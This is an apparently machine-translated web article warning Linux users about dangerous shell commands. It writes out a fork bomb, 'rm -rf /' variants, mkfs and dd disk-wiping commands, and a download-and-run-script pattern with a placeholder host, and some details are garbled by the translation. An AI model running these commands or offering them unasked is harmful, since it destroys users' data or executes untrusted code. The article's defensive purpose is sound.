Linux shell/terminal commands are very powerful and even a simple command can lead to the deletion of folders, files or path folders etc. In some cases, Linux will execute the command without even asking you, causing you to lose various data and information. Generally speaking, it is recommended on the Web that new Linux users execute these commands. Of course, there are people who have written this code who don't think so, because once you write this thing, it's no longer a joke. Here I have collected some Linux codes that are harmful to your system to help you avoid them. Please remember: these codes are very dangerous and can even be modified to become more harmful. There are a few more things to note: some commands are only harmful when prefixed with sudo in Ubuntu. Other distributions of Linux are harmful when used as root. 1. Linux Fork Bomb Command :(){ :: & };: is also known as Fork Bomb, a denial of service attack on Linux systems. :(){ :: & };: is a bash function. Once executed, it will repeat until the system freezes. You can only reboot the system to solve this problem. So be careful when you execute this command in the Linux interface. 2. Mv Folder/Dev/Null Command mv folder/dev/null is also a dangerous command. Dev/null or null device is a device file that deletes all data written on this device file, but the operation prompt is that the write operation is successful. This is what we often call bit bucked or black hole. 3. Rm -Rf Command The rm -rf command can quickly delete a folder and its contents in Linux. If you don't know how to use it correctly, you will only cry. Listed below are the most common combinations and options of the m-rf command: rm command: delete files in Linux system rm -f command: Delete read-only files in the file without prompting rm -r command deletes the contents of a folder in a loop rm -d command: Delete an empty directory. This operation will not be performed if the directory is not empty. rm -rf/ command: Forcefully delete all contents and subfolders (including write-protected files) in the root directory. rm -rf* command: Forcefully delete all contents in the current directory (current working directory) and subfolders rm -rf. command: Forcefully delete all contents in the current folder directory/subdirectory. Same as rm -r.[^.]* The rm -r.[^.]* command: Delete files and folders with deletion prompt 4. Mkfs Command If you don't know the function of mkfs, then it is also a dangerous command. Any command written after mkfs will be formatted and replaced by a blank Linux file system. The following are the commands that require administrator privileges to format the hard disk: mkfs mkfs.ext3 mkfs.bfs mkfs.ext2 mkfs.minix mkfs.msdos mkfs.reiserfs mkfs.vfat mkfs.cramfs can also do the same thing as the above code, but there is no need to manage source permissions. 5. Tar Bomb The tar command is used to put multiple files into a single file (archive file) in .tar format. Tape Archive (Tar) bomb can be created by it. When uncompressed, it is this archive file that generates tens of thousands of similarly named files that appear in the current directory instead of the new directory. You can avoid becoming a victim of a tar bomb by regularly creating a new protected directory when receiving tar files, and then placing incoming tar files into this directory before decompressing them. 6. Dd Command Dd command is used to copy & change hard disk partitions. If you use it in the wrong place, it can be dangerous. The following are the dd commands: dd if=/dev/hda of=/dev/hdb dd if=/dev/hda of=/dev/sdb dd if=something of=/dev/hda dd if=something of=/dev/sda The following command will clear the entire primary hard drive to zeros: dd if=/dev/zero of=/dev/had 7. Shell Script Code Sometimes, you may be tricked into downloading and executing a shell script file. The script may contain some malicious or dangerous code. The command may be in the form of: wget http://some_malicious_source -O- sh. wget will download the script as sh. 8. Malicious Source Code Maybe someone will give you source code and ask you to compile it. The code may be normal code, but there are some malicious codes disguised in the large source code. If so, your system is vulnerable. How to avoid it? Only accept and compile source code from trustworthy sources. 9. Decompression Bomb You have received a compressed file and you are asked to extract this seemingly small file, maybe as small as KB. In fact, this small size compressed file contains highly compressed data. Once the file is unzipped, hundreds of GB of data will be extracted. At this time, the large amount of data will fill up the hard disk and cause a crash. How to avoid it? As the old saying goes, don't be greedy and accept any file. Please accept files from trusted sources. Link to this article: http://www.evget.com/article/2014/11/4/21781.html |
<<: Android 5.0 Lollipop source code released
>>: 18K gold Apple Watch rumored to be on sale for $5,000 on Valentine's Day
When you mention highland barley, the first thing...
NVIDIA CEO Jensen Huang once announced at the GTX...
APP soft articles are roughly classified The firs...
The Spring Festival holiday is over. Before you l...
In summer, I believe it is not uncommon for every...
1. Front-end tree diagram -- zTree -- jQuery tree...
Emperor Wen of Sui's favorite fruit. How to t...
The prevalence of self-media has made us realize ...
On March 28, Apple released the official version ...
New Year Come with the New Year's vigor Come ...
On March 30, the new energy vehicle battery facto...
Nujiang fabric mini program customized price 1. D...
As people's quality of life continues to impro...
Apple released the EFI 2.9 update for the MacBook ...
There have been many hot events and festivals rec...